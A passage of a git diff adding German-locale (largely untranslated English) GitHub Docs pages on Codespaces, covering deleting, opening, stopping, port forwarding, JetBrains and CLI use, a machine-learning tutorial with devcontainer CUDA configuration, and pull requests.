+   * `gh codespace delete --org ORGANIZATION --user USER` - Lists only those codespaces created by the specified user.
+   You must be an owner of the specified organization.
+1. In the list of codespaces, navigate to the codespace you want to delete.
+1. To delete the selected codespace press <kbd>Enter</kbd>.
+
+   If the codespace contains unsaved changes you will be prompted to confirm deletion.
+
+{% endcli %}
+
+You can also use the REST API to delete codespaces for your organization. For more information, see "[Codespaces organizations](/rest/codespaces/organizations#delete-a-codespace-from-the-organization)."
+
+## Further reading
+- "[The codespace lifecycle](/codespaces/developing-in-codespaces/the-codespace-lifecycle)"
+- "[Configuring automatic deletion of your codespaces](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces)"
diff --git a/translations/de-DE/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md b/translations/de-DE/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md
new file mode 100644
index 0000000000..0de2f28409
--- /dev/null
+++ b/translations/de-DE/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md
@@ -0,0 +1,139 @@
+---
+title: Developing in a codespace
+intro: 'You can work in a codespace using your browser, {% data variables.product.prodname_vscode %}, a JetBrains IDE, or in a command shell.'
+redirect_from:
+  - /github/developing-online-with-github-codespaces/developing-in-a-codespace
+  - /github/developing-online-with-codespaces/developing-in-a-codespace
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Fundamentals
+  - Developer
+shortTitle: Develop in a codespace
+---
+
+{% jetbrains %}
+
+{% data reusables.codespaces.codespaces-jetbrains-beta-note %}
+
+{% endjetbrains %}
+
+## About development with {% data variables.product.prodname_github_codespaces %}
+
+You can develop code in a codespace using your choice of tool: 
+
+* A command shell, via an SSH connection initiated using {% data variables.product.prodname_cli %}.
+* One of the JetBrains IDEs, via the JetBrains Gateway.
+* The {% data variables.product.prodname_vscode %} desktop application.
+* A browser-based version of {% data variables.product.prodname_vscode %}.
+
+{% webui %}
+
+The tabs in this article allow you to switch between information for each of these ways of working. You're currently on the tab for the web browser version of {% data variables.product.prodname_vscode %}.
+
+## Working in a codespace in the browser
+
+Using {% data variables.product.prodname_codespaces %} in the browser provides you with a fully featured development experience. You can edit code, debug, use Git commands, and run your application.
+
+![Annotated screenshot of a codespace in the browser](/assets/images/help/codespaces/codespace-overview-annotated.png)
+
+{% data reusables.codespaces.vscode-interface-annotation %}
+{% data reusables.codespaces.use-chrome %} For more information, see "[Troubleshooting {% data variables.product.prodname_github_codespaces %} clients](/codespaces/troubleshooting/troubleshooting-github-codespaces-clients)."
+{% data reusables.codespaces.developing-in-vscode %}
+{% data reusables.codespaces.navigating-to-a-codespace %}
+
+{% endwebui %}
+
+{% vscode %}
+
+The tabs in this article allow you to switch between information for each of these ways of working. You're currently on the tab for {% data variables.product.prodname_vscode %}.
+
+## Working in a codespace in {% data variables.product.prodname_vscode_shortname %}
+
+{% data variables.product.prodname_github_codespaces %} provides you with the full development experience of {% data variables.product.prodname_vscode %}. {% data reusables.codespaces.use-visual-studio-features %}
+
+![Annotated screenshot of a codespace in VS Code](/assets/images/help/codespaces/codespace-annotated-vscode.png)
+
+{% data reusables.codespaces.vscode-interface-annotation %}
+
+For more information on using {% data variables.product.prodname_vscode_shortname %}, see the [User Interface guide](https://code.visualstudio.com/docs/getstarted/userinterface) in the {% data variables.product.prodname_vscode_shortname %} documentation.
+
+{% data reusables.codespaces.connect-to-codespace-from-vscode %} 
+
+For troubleshooting information, see "[Troubleshooting Codespaces clients](/codespaces/troubleshooting/troubleshooting-github-codespaces-clients)."
+{% data reusables.codespaces.developing-in-vscode %}
+{% data reusables.codespaces.navigating-to-a-codespace %}
+
+{% endvscode %}
+
+{% jetbrains %}
+
+The tabs in this article allow you to switch between information for each of these ways of working. You're currently on the tab for JetBrains IDEs.
+
+## Working in a codespace in a JetBrains IDE
+
+To use {% data variables.product.prodname_github_codespaces %} with a JetBrains IDE you must have already installed JetBrains Gateway. For information about installing JetBrains Gateway, see [the JetBrains website](https://www.jetbrains.com/remote-development/gateway/).
+
+You can work in a codespace using your choice of JetBrains IDE. After creating a codespace, you can use the JetBrains Gateway application to open the codespace in your preferred IDE.
+
+You can edit code, debug, and use Git commands while developing in a codespace with your JetBrains IDE. For more information about the various JetBrains IDEs, see the [JetBrains documentation](https://www.jetbrains.com/help/).
+
+### IntelliJ IDEA user interface
+
+Within the {% data variables.product.prodname_github_codespaces %} documentation we use IntelliJ IDEA as a representative JetBrains IDE. Different JetBrains IDEs may have different layouts.
+
+![Annotated screenshot of a codespace in JetBrains IntelliJ IDEA](/assets/images/help/codespaces/jetbrains-gui-with-callouts.png)
+
+1. **Navigation bar** - This displays the path to the currently selected file or directory. Use the buttons to the right of the navigation bar to perform various actions, including building, running, or debugging the project, or running Git commands to commit and push your changes.
+2. **Project tool window** - This shows you the structure of your project and allows you to open files in the editor.
+3. **{% data variables.product.prodname_github_codespaces %} tool window** - This is displayed by clicking the {% data variables.product.prodname_github_codespaces %} plugin in the bar to the left of the tool window. It displays information about your codespace, including its display name and machine type. The buttons at the top of this tool window allow you to:
+   * Stop the codespace and disconnect
+   * Display the "Your codespaces" web page
+   * View the codespace creation logs
+   * Rebuild the dev container
+4. **Editor** - This is where you edit your files. You can right-click the tab for a file to access options such as moving the tab to a new window.
+5. **Terminal** - This is displayed by clicking **Terminal** in the tool window bar at the bottom of the main window (just above the status bar). The integrated terminal allows you to perform command-line tasks without having to switch to a dedicated terminal application.
+6. **Status bar** - Hover over the icon at the left of the status bar to see a list of tools. Click the icon to hide or show the tool window bars. The right side of the status bar shows information about the project, including the current Git branch.
+
+For more information about the IntelliJ IDEA user interface, see the [JetBrains documentation for IntelliJ IDEA](https://www.jetbrains.com/help/idea/guided-tour-around-the-user-interface.html).
+
+### Customizing the codespaces for a repository
+
+You can customize the codespaces that are created for a repository by creating or updating the dev container configuration for the repository. You can do this from within a codespace. After you change a dev container configuration, you can apply the changes to the current codespace by rebuilding the Docker container for the codespace. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)."
+
+### Personalizing your codespace
+
+You can use a [dotfiles](https://dotfiles.github.io/tutorials/) repository to personalize aspects of the codespace environment for any codespace that you create. For more information, see "[Personalizing {% data variables.product.prodname_github_codespaces %} for your account](/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account#dotfiles)."
+
+### Committing your changes
+
+Once you've made changes to your codespace, either new code or configuration changes, you'll want to commit and push your changes. Pushing changes to a repository ensures that anyone else who creates a codespace from this repository has the same configuration. This also means that any customization you do, to modify the configuration of codespaces created for a repository, will be available to everybody who uses the repository.
+
+For more information, see "[Using source control in your codespace](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace#committing-your-changes)."
+
+## Further reading
+
+* "[Using {% data variables.product.prodname_github_codespaces %} in your JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide)"
+* "[Using the {% data variables.product.prodname_github_codespaces %} plugin for JetBrains](/codespaces/codespaces-reference/using-the-github-codespaces-plugin-for-jetbrains)"
+* "[Troubleshooting {% data variables.product.prodname_github_codespaces %} clients](/codespaces/troubleshooting/troubleshooting-github-codespaces-clients)"
+
+{% endjetbrains %}
+
+{% cli %}
+
+The tabs in this article allow you to switch between information for each of these ways of working. You're currently on the tab for {% data variables.product.prodname_cli %}.
+
+## Working in a codespace in a command shell
+
+{% data reusables.cli.cli-learn-more %}
+
+You can use {% data variables.product.prodname_cli %} to create a new codespace, or start an existing codespace, and then SSH to it. Once connected, you can work on the command line using your preferred command-line tools.
+
+After installing {% data variables.product.prodname_cli %} and authenticating with your {% data variables.product.prodname_dotcom %} account you can use the command `gh codespace [<SUBCOMMAND>...] --help` to browse the help information. Alternatively, you can view the same reference information at [https://cli.github.com/manual/gh_codespace](https://cli.github.com/manual/gh_codespace).
+
+For more information, see "[Using {% data variables.product.prodname_github_codespaces %} with GitHub CLI](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli)."
+
+{% endcli %}
diff --git a/translations/de-DE/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md b/translations/de-DE/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md
new file mode 100644
index 0000000000..260ee1be7e
--- /dev/null
+++ b/translations/de-DE/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md
@@ -0,0 +1,137 @@
+---
+title: Forwarding ports in your codespace
+intro: '{% data reusables.codespaces.about-port-forwarding %}'
+versions:
+  fpt: '*'
+  ghec: '*'
+redirect_from:
+  - /github/developing-online-with-codespaces/forwarding-ports-in-your-codespace
+type: how_to
+topics:
+  - Codespaces
+  - Fundamentals
+  - Developer
+shortTitle: Forward ports
+---
+
+{% jetbrains %}
+
+{% data reusables.codespaces.codespaces-jetbrains-beta-note %}
+
+{% endjetbrains %}
+
+## About forwarded ports
+
+Port forwarding gives you access to TCP ports running within your codespace. For example, if you're running a web application on a particular port in your codespace, you can forward that port. This allows you to access the application from the browser on your local machine for testing and debugging.
+
+{% webui %}
+
+{% data reusables.codespaces.port-forwarding-intro-non-jetbrains %}
+{% data reusables.codespaces.navigate-to-ports-tab %}
+1. Under the list of ports, click **Add port**.
+
+   ![Add port button](/assets/images/help/codespaces/add-port-button.png)
+
+1. Type the port number or address, then press enter.
+
+   ![Text box to type port button](/assets/images/help/codespaces/port-number-text-box.png)
+
+## Using HTTPS forwarding
+
+By default, {% data variables.product.prodname_github_codespaces %} forwards ports using HTTP but you can update any port to use HTTPS, as needed. If you update a port with public visibility to use HTTPS, the port's visibility will automatically change to private.
+
+{% data reusables.codespaces.navigate-to-ports-tab %}
+1. Right click the port you want to update, then hover over **Change Port Protocol**.
+  ![Option to change port protocol](/assets/images/help/codespaces/update-port-protocol.png)
+1. Select the protocol needed for this port. The protocol that you select will be remembered for this port for the lifetime of the codespace.
+
+{% data reusables.codespaces.port-forwarding-sharing-non-jetbrains %}
+
+{% data reusables.codespaces.navigate-to-ports-tab %}
+1. Right click the port that you want to share, select the "Port Visibility" menu, then click **Private to Organization** or **Public**.
+  ![Option to select port visibility in right-click menu](/assets/images/help/codespaces/make-public-option.png)
+1. To the right of the local address for the port, click the copy icon.
+  ![Copy icon for port URL](/assets/images/help/codespaces/copy-icon-port-url.png)
+1. Send the copied URL to the person you want to share the port with.
+
+{% data reusables.codespaces.port-forwarding-labeling-non-jetbrains %}
+{% data reusables.codespaces.port-forwarding-adding-non-jetbrains %}
+
+{% endwebui %}
+
+{% vscode %}
+
+{% data reusables.codespaces.port-forwarding-intro-non-jetbrains %}
+{% data reusables.codespaces.navigate-to-ports-tab %}
+1. Under the list of ports, click **Add port**.
+
+   ![Add port button](/assets/images/help/codespaces/add-port-button.png)
+
+1. Type the port number or address, then press enter.
+
+   ![Text box to type port button](/assets/images/help/codespaces/port-number-text-box.png)
+
+{% data reusables.codespaces.port-forwarding-sharing-non-jetbrains %}
+
+{% data reusables.codespaces.navigate-to-ports-tab %}
+1. Right click the port that you want to share, select the "Port Visibility" menu, then click **Private to Organization** or **Public**.
+  ![Option to make port public in right-click menu](/assets/images/help/codespaces/make-public-option.png)
+1. To the right of the local address for the port, click the copy icon.
+  ![Copy icon for port URL](/assets/images/help/codespaces/copy-icon-port-url.png)
+1. Send the copied URL to the person you want to share the port with.
+
+{% data reusables.codespaces.port-forwarding-labeling-non-jetbrains %}
+{% data reusables.codespaces.port-forwarding-adding-non-jetbrains %}
+
+{% endvscode %}
+
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+To forward a port use the `gh codespace ports forward` subcommand. Replace `codespace-port:local-port` with the remote and local ports that you want to connect. After entering the command choose from the list of codespaces that's displayed.
+
+```shell
+gh codespace ports forward CODESPACE-PORT:LOCAL-PORT
+```
+
+For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_ports_forward).
+
+To see details of forwarded ports enter `gh codespace ports` and then choose a codespace.
+
+{% data reusables.codespaces.port-forwarding-sharing-non-jetbrains %}
+
+To change the visibility of a forwarded port, use the `gh codespace ports visibility` subcommand. {% data reusables.codespaces.port-visibility-settings %}
+
+Replace `codespace-port` with the forwarded port number. Replace `setting` with `private`, `org`, or `public`. After entering the command choose from the list of codespaces that's displayed.
+
+```shell
+gh codespace ports visibility CODESPACE-PORT:SETTINGS
+```
+
+You can set the visibility for multiple ports with one command. For example:
+
+```shell
+gh codespace ports visibility 80:private 3000:public 3306:org
+```
+
+For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_ports_visibility).
+
+{% data reusables.codespaces.port-forwarding-labeling-non-jetbrains %}
+
+You can see the port labels when you list the forwarded ports for a codespace. To do this, use the `gh codespace ports` command and then select a codespace.
+
+{% data reusables.codespaces.port-forwarding-adding-non-jetbrains %}
+
+{% endcli %}
+
+{% jetbrains %}
+
+## Forwarding a port
+
+For information on how to forward a port in a codespace to a port on your local machine, see the "Port forwarding" section of the "[Security model](https://www.jetbrains.com/help/idea/security-model.html#port_forwarding)" article in the JetBrains documentation.
+
+Alternatively, you can use {% data variables.product.prodname_cli %} to forward a port. For more information, click the "{% data variables.product.prodname_cli %}" tab at the top of this page.
+
+{% endjetbrains %}
diff --git a/translations/de-DE/content/codespaces/developing-in-codespaces/getting-started-with-github-codespaces-for-machine-learning.md b/translations/de-DE/content/codespaces/developing-in-codespaces/getting-started-with-github-codespaces-for-machine-learning.md
new file mode 100644
index 0000000000..2e0f9118fb
--- /dev/null
+++ b/translations/de-DE/content/codespaces/developing-in-codespaces/getting-started-with-github-codespaces-for-machine-learning.md
@@ -0,0 +1,104 @@
+---
+title: Getting started with GitHub Codespaces for machine learning
+shortTitle: Machine learning
+intro: 'Learn about working on machine learning projects with {% data variables.product.prodname_github_codespaces %} and its out-of-the-box tools.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Codespaces
+  - Developer
+---
+
+## Introduction
+
+This guide introduces you to machine learning with {% data variables.product.prodname_github_codespaces %}. You’ll build a simple image classifier, learn about some of the tools that come preinstalled in {% data variables.product.prodname_github_codespaces %}, configure your development environment for NVIDIA CUDA, and open your codespace in JupyterLab.
+
+## Building a simple image classifier
+
+We'll use a Jupyter notebook to build a simple image classifier. 
+
+Jupyter notebooks are sets of cells that you can execute one after another. The notebook we'll use includes a number of cells that build an image classifier using [PyTorch](https://pytorch.org/). Each cell is a different phase of that process: download a dataset, set up a neural network, train a model, and then test that model.
+
+We'll run all of the cells, in sequence, to perform all phases of building the image classifier. When we do this Jupyter saves the output back into the notebook so that you can examine the results.
+
+### Creating a codespace
+
+1. Go to the [github/codespaces-jupyter](https://github.com/github/codespaces-jupyter) template repository.
+{% data reusables.codespaces.open-template-in-codespace-step %}
+
+A codespace for this template will open in a web-based version of {% data variables.product.prodname_vscode %}.
+
+### Opening the image classifier notebook 
+
+The default container image that's used by {% data variables.product.prodname_github_codespaces %} includes a set of machine learning libraries that are preinstalled in your codespace. For example, Numpy, pandas, SciPy, Matplotlib, seaborn, scikit-learn, Keras, PyTorch, Requests, and Plotly. For more information about the default image, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#using-the-default-dev-container-configuration)" and [the `devcontainers/images` repository](https://github.com/devcontainers/images/tree/main/src/universal).
+
+1. In the {% data variables.product.prodname_vscode_shortname %} editor, close any "Get Started" tabs that are displayed.
+1. Open the `notebooks/image-classifier.ipynb` notebook file.
+
+### Building the image classifier
+
+The image classifier notebook contains all the code you need to download a dataset, train a neural network, and evaluate its performance.
+
+1. Click **Run All** to execute all of the notebook’s cells.
+
+   ![Screenshot of the Run All button](/assets/images/help/codespaces/jupyter-run-all.png)
+
+1. Scroll down to view the output of each cell.
+
+   ![Screenshot of Step 3 in the editor](/assets/images/help/codespaces/jupyter-notebook-step3.png)
+
+## Configuring NVIDIA CUDA for your codespace
+
+Some software requires you to install NVIDIA CUDA to use your codespace’s GPU. Where this is the case, you can create your own custom configuration, by using a `devcontainer.json` file, and specify that CUDA should be installed. For more information on creating a custom configuration, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#creating-a-custom-dev-container-configuration)."
+
+{% note %}
+
+**Note**: For full details of the script that's run when you add the `nvidia-cuda` feature, see [the devcontainers/features repository](https://github.com/devcontainers/features/tree/main/src/nvidia-cuda).
+
+{% endnote %}
+
+1. Within the codespace, open the `.devcontainer/devcontainer.json` file in the editor.
+1. Add a top-level `features` object with the following contents:
+
+   ```json{:copy}
+     "features": {
+       "ghcr.io/devcontainers/features/nvidia-cuda:1": { 
+         "installCudnn": true
+       }
+     }
+   ```
+
+   For more information about the `features` object, see the [development containers specification](https://containers.dev/implementors/features/#devcontainer-json-properties).
+
+   If you are using the `devcontainer.json` file from the image classifier repository you created for this tutorial, your `devcontainer.json` file will now look like this:
+
+   ```json
+   {
+     "customizations": {
+       "vscode": {
+         "extensions": [
+           "ms-python.python",
+           "ms-toolsai.jupyter"
+         ]
+       }
+     },
+     "features": {
+       "ghcr.io/devcontainers/features/nvidia-cuda:1": { 
+         "installCudnn": true
+       }
+     }
+   }
+   ```
+
+1. Save the change.
+{% data reusables.codespaces.rebuild-command %}
+   The codespace container will be rebuilt. This will take several minutes. When the rebuild is complete the codespace is automatically reopened.
+1. Publish your change to a repository so that CUDA will be installed in any new codespaces you create from this repository in future. For more information, see "[Creating a codespace from a template](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template#publishing-from-vs-code)."
+
+## Opening your codespace in JupyterLab
+
+You can open your codespace in JupyterLab from the "Your codespaces" page at [github.com/codespaces](https://github.com/codespaces), or by using {% data variables.product.prodname_cli %}. For more information, see "[Opening an existing codespace](/codespaces/developing-in-codespaces/opening-an-existing-codespace)."
+
+{% data reusables.codespaces.jupyterlab-installed-in-codespace %}
\ No newline at end of file
diff --git a/translations/de-DE/content/codespaces/developing-in-codespaces/index.md b/translations/de-DE/content/codespaces/developing-in-codespaces/index.md
new file mode 100644
index 0000000000..3ae4748fc5
--- /dev/null
+++ b/translations/de-DE/content/codespaces/developing-in-codespaces/index.md
@@ -0,0 +1,33 @@
+---
+title: In einem Codespace entwickeln
+intro: 'Erstelle einen Codespace, um mit der Entwicklung deines Projekts in einer dedizierten Cloudumgebung zu beginnen. Du kannst weitergeleitete Ports verwenden, um deine Anwendung auszuführen, und sogar Codespaces innerhalb von {% data variables.product.prodname_vscode %} verwenden.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Codespaces
+children:
+  - /the-codespace-lifecycle
+  - /developing-in-a-codespace
+  - /creating-a-codespace-for-a-repository
+  - /creating-a-codespace-from-a-template
+  - /deleting-a-codespace
+  - /opening-an-existing-codespace
+  - /using-source-control-in-your-codespace
+  - /using-github-codespaces-for-pull-requests
+  - /stopping-and-starting-a-codespace
+  - /forwarding-ports-in-your-codespace
+  - /default-environment-variables-for-your-codespace
+  - /connecting-to-a-private-network
+  - /getting-started-with-github-codespaces-for-machine-learning
+  - /using-github-codespaces-in-visual-studio-code
+  - /using-github-codespaces-in-your-jetbrains-ide
+  - /using-github-codespaces-with-github-cli
+ms.openlocfilehash: 166283bd0fbc71b8acc180b20ef597dbc0a50781
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148159013'
+---
+
diff --git a/translations/de-DE/content/codespaces/developing-in-codespaces/opening-an-existing-codespace.md b/translations/de-DE/content/codespaces/developing-in-codespaces/opening-an-existing-codespace.md
new file mode 100644
index 0000000000..cc463fbc81
--- /dev/null
+++ b/translations/de-DE/content/codespaces/developing-in-codespaces/opening-an-existing-codespace.md
@@ -0,0 +1,123 @@
+---
+title: Opening an existing codespace
+intro: 'You can reopen a codespace that you have closed or stopped and return to your work.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Fundamentals
+  - Developer
+shortTitle: Open an existing codespace
+---
+
+{% jetbrains %}
+
+{% data reusables.codespaces.codespaces-jetbrains-beta-note %}
+
+{% endjetbrains %}
+
+You can reopen any of your active or stopped codespaces on {% data variables.product.prodname_dotcom_the_website %}, in a JetBrains IDE, in {% data variables.product.prodname_vscode %}, or by using {% data variables.product.prodname_cli %}. You can't reopen a codespace that has been deleted. For more information, see "[The codespace lifecycle](/codespaces/developing-in-codespaces/the-codespace-lifecycle)."
+
+You can view all your codespaces on the "Your codespaces" page at [github.com/codespaces](https://github.com/codespaces). From this page, you can:
+
+- Open, stop, or delete your codespaces.
+- See who owns (and may be billed for) your codespaces: your personal account, or organizations you belong to. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)."
+- Create a new codespace, either by choosing one of {% data variables.product.company_short %}'s templates or by clicking **New codespace**. For more information, see "[Creating a codespace from a template](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template)" and "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository)."
+
+## Opening an existing codespace
+
+{% webui %}
+
+{% data reusables.codespaces.your-codespaces-procedure-step %}
+1. To open a codespace in your default editor, click the name of the codespace. {% data reusables.codespaces.about-changing-default-editor %} For more information, see "[Setting your default editor for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces)."
+   
+   To open the codespace in an editor other than your default:
+   
+   1. Click the ellipsis (**...**) to the right of the codespace you want to open.
+   1. Click **Open in**.
+   1. Click **Open in APPLICATION**.
+
+   ![Screenshot of the "Open in" dialog box, with "Open in Visual Studio Code" highlighted](/assets/images/help/codespaces/open-codespace-in-another-editor.png)
+
+   You can open the codespace in:
+   * Your browser
+   * {% data variables.product.prodname_vscode %}
+   * JetBrains Gateway
+   * JupyterLab
+
+   {% data reusables.codespaces.application-installed-locally %}
+
+   If you choose **JupyterLab**, the JupyterLab application must be installed in the codespace. {% data reusables.codespaces.jupyterlab-in-default-image %}
+
+{% endwebui %}
+
+{% vscode %}
+
+{% note %}
+
+**Note:** {% data reusables.codespaces.using-codespaces-in-vscode %} For more information, see "[Using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code)."
+
+{% endnote %}
+
+1. In the {% data variables.product.prodname_vscode_shortname %} desktop application, open the Command Palette with <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Mac) or <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux).
+1. Type "Codespaces" and select one of the following commands.
+   - To open a codespace in a new window of {% data variables.product.prodname_vscode_shortname %}, select **Codespaces: Open Codespace in New Window**
+   - To open a codespace in the web editor, select **Codespaces: Open in Browser**
+1. Click the codespace that you want to open.
+   
+   ![Screenshot of a list of codespaces in Visual Studio Code](/assets/images/help/codespaces/open-codespace-from-vscode.png)
+
+You can also access the commands listed above by navigating to the Remote Explorer view in {% data variables.product.prodname_vscode_shortname %} and right-clicking the codespace that you want to open.
+
+![Screenshot of a codespace selected in the Remote Explorer, with "Open in Browser" highlighted](/assets/images/help/codespaces/open-codespace-remote-explorer.png)
+
+{% data reusables.codespaces.remote-explorer %}
+{% endvscode %}
+
+{% cli %}
+
+1. In a terminal, enter one of the following {% data variables.product.prodname_cli %} commands.
+   - To open a codespace in {% data variables.product.prodname_vscode_shortname %}, enter:
+
+     ```shell{:copy}
+     gh codespace code
+     ```
+     
+     {% note %}
+
+     **Note**: You must have {% data variables.product.prodname_vscode_shortname %} installed on your local machine. For more information, see "[Setting up Visual Studio Code](https://code.visualstudio.com/docs/setup/setup-overview)" in the {% data variables.product.prodname_vscode_shortname %} documentation.
+
+     {% endnote %}
+     
+   - To open a codespace in the browser, enter:
+  
+     ```shell{:copy}
+     gh codespace code --web
+     ```
+
+   - To open a codespace in JupyterLab, enter:
+  
+     ```shell{:copy}
+     gh codespace code --jupyter
+     ```
+     
+     {% note %}
+
+     **Note**: {% data reusables.codespaces.jupyterlab-installed-in-codespace %}
+
+     {% endnote %}
+     
+1. Using the arrow keys, navigate to the codespace that you want to open.
+1. To open the codespace, press <kbd>Enter</kbd>.
+
+For more information, see [`gh codespace code`](https://cli.github.com/manual/gh_codespace_code) in the {% data variables.product.prodname_cli %} manual.
+
+{% endcli %}
+
+{% jetbrains %}
+
+{% data reusables.codespaces.opening-codespace-in-jetbrains %}
+
+{% endjetbrains %}
\ No newline at end of file
diff --git a/translations/de-DE/content/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace.md b/translations/de-DE/content/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace.md
new file mode 100644
index 0000000000..879021588c
--- /dev/null
+++ b/translations/de-DE/content/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace.md
@@ -0,0 +1,111 @@
+---
+title: Stopping and starting a codespace
+intro: 'You can stop and start your codespace to save resources and to pause work.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Fundamentals
+  - Developer
+shortTitle: Stop a codespace
+---
+
+{% jetbrains %}
+
+{% data reusables.codespaces.codespaces-jetbrains-beta-note %}
+
+{% endjetbrains %}
+
+## About stopping and starting a codespace
+
+{% data reusables.codespaces.stopping-a-codespace %}
+
+Regardless of where you created or access your codespaces, you can view and manage them in your browser at https://github.com/codespaces. 
+
+## Stopping a codespace
+
+{% webui %}
+
+{% data reusables.codespaces.navigate-to-codespaces-page %}
+ 1. To the right of the codespace you want to stop, click the elipsis (**...**).
+ 1. Click **Stop codespace**.
+   ![Screenshot of option to stop a codespace](/assets/images/help/codespaces/stop-codespace-webui.png)
+
+{% endwebui %}
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+ To stop a codespace use the `gh codespace stop` subcommand and then choose the codespace you want to stop from the list that's displayed.
+
+ ```shell{:copy}
+ gh codespace stop
+ ```
+
+{% endcli %}
+
+{% vscode %}
+
+{% data reusables.vs-code.open-command-palette %}
+1. Type `stop` and select **Codespaces: Stop Codespace** from the list of options.
+1. In the list of codespaces, select the codespace you want to stop.
+
+{% endvscode %}
+
+{% jetbrains %}
+
+{% data reusables.codespaces.jetbrains-open-codespace-plugin %}
+1. In the {% data variables.product.prodname_github_codespaces %} tool window, click the stop icon.
+
+   ![Screenshot of the log button](/assets/images/help/codespaces/jetbrains-plugin-icon-stop.png)
+
+{% endjetbrains %}
+
+## Restarting a codespace
+
+{% webui %}
+
+{% data reusables.codespaces.navigate-to-codespaces-page %}
+1. Click the name of the codespace you want to restart.
+![Screenshot of stopped codespaces](/assets/images/help/codespaces/restart-codespace-webui.png)
+
+{% endwebui %}
+
+{% cli %}
+
+When you restart a codespace you can choose to open it in {% data variables.product.prodname_vscode %} or in your browser. 
+
+ - To restart a codespace and open it in {% data variables.product.prodname_vscode %}, use the `gh codespace code` subcommand and then choose the codespace you want to restart from the list that's displayed.
+
+ ```shell{:copy} 
+ gh codespace code
+ ```
+
+ - To restart a codespace and open it in your browser, use the `gh codespace open --web` subcommand and then choose the codespace you want to restart from the list that's displayed.
+
+ ```shell{:copy}
+ gh codespace open --web
+ ```
+
+{% endcli %}
+
+{% vscode %}
+
+{% data reusables.vs-code.open-command-palette %}
+1. Type `connect` and select **Codespaces: Connect to Codespace** from the list of options.
+1. In the list of codespaces, select the codespace you want to restart.
+
+{% endvscode %}
+
+{% jetbrains %}
+
+{% data reusables.codespaces.opening-codespace-in-jetbrains %}
+
+{% endjetbrains %}
+
+## Further reading
+
+- "[The codespace lifecycle](/codespaces/developing-in-codespaces/the-codespace-lifecycle)"
diff --git a/translations/de-DE/content/codespaces/developing-in-codespaces/using-github-codespaces-for-pull-requests.md b/translations/de-DE/content/codespaces/developing-in-codespaces/using-github-codespaces-for-pull-requests.md
new file mode 100644
index 0000000000..ef83a33004
--- /dev/null
+++ b/translations/de-DE/content/codespaces/developing-in-codespaces/using-github-codespaces-for-pull-requests.md
@@ -0,0 +1,58 @@
+---
+title: Using GitHub Codespaces for pull requests
+shortTitle: Pull requests
+intro: 'You can use {% data variables.product.prodname_github_codespaces %} in your web browser, or in {% data variables.product.prodname_vscode %} to create pull requests, review pull requests, and address review comments.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Visual Studio Code
+  - Developer
+redirect_from:
+  - /codespaces/developing-in-codespaces/using-codespaces-for-pull-requests
+---
+
+## About pull requests in {% data variables.product.prodname_github_codespaces %}
+
+{% data variables.product.prodname_github_codespaces %} provides you with many of the capabilities you might need to work with pull requests:
+
+- [Create a pull request](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace#raising-a-pull-request) - Using either the Terminal and Git commands or the Source Control view, you can create pull requests just as you would on {% data variables.product.prodname_dotcom_the_website %}. If the repository uses a pull request template, you'll be able to use this within the Source Control view.
+- [Open a pull request](#opening-a-pull-request-in-codespaces) – You can open an existing pull request in a codespace, provided you have codespace access to the branch that is being merged in.
+- [Review a pull request](#reviewing-a-pull-request-in-codespaces) - Once you have opened a pull request in a codespace, you can use the "GitHub Pull Request" view to add review comments and approve pull requests. You can also use {% data variables.product.prodname_github_codespaces %} to [view review comments](#view-comments-from-a-review-in-codespaces).
+
+## Opening a pull request in {% data variables.product.prodname_codespaces %}
+
+{% data reusables.repositories.sidebar-pr %}
+
+1. In the list of pull requests, click the pull request you'd like to open in {% data variables.product.prodname_codespaces %}.
+1. On the right-hand side of your screen, click **{% octicon "code" aria-label="The code icon" %} Code**. 
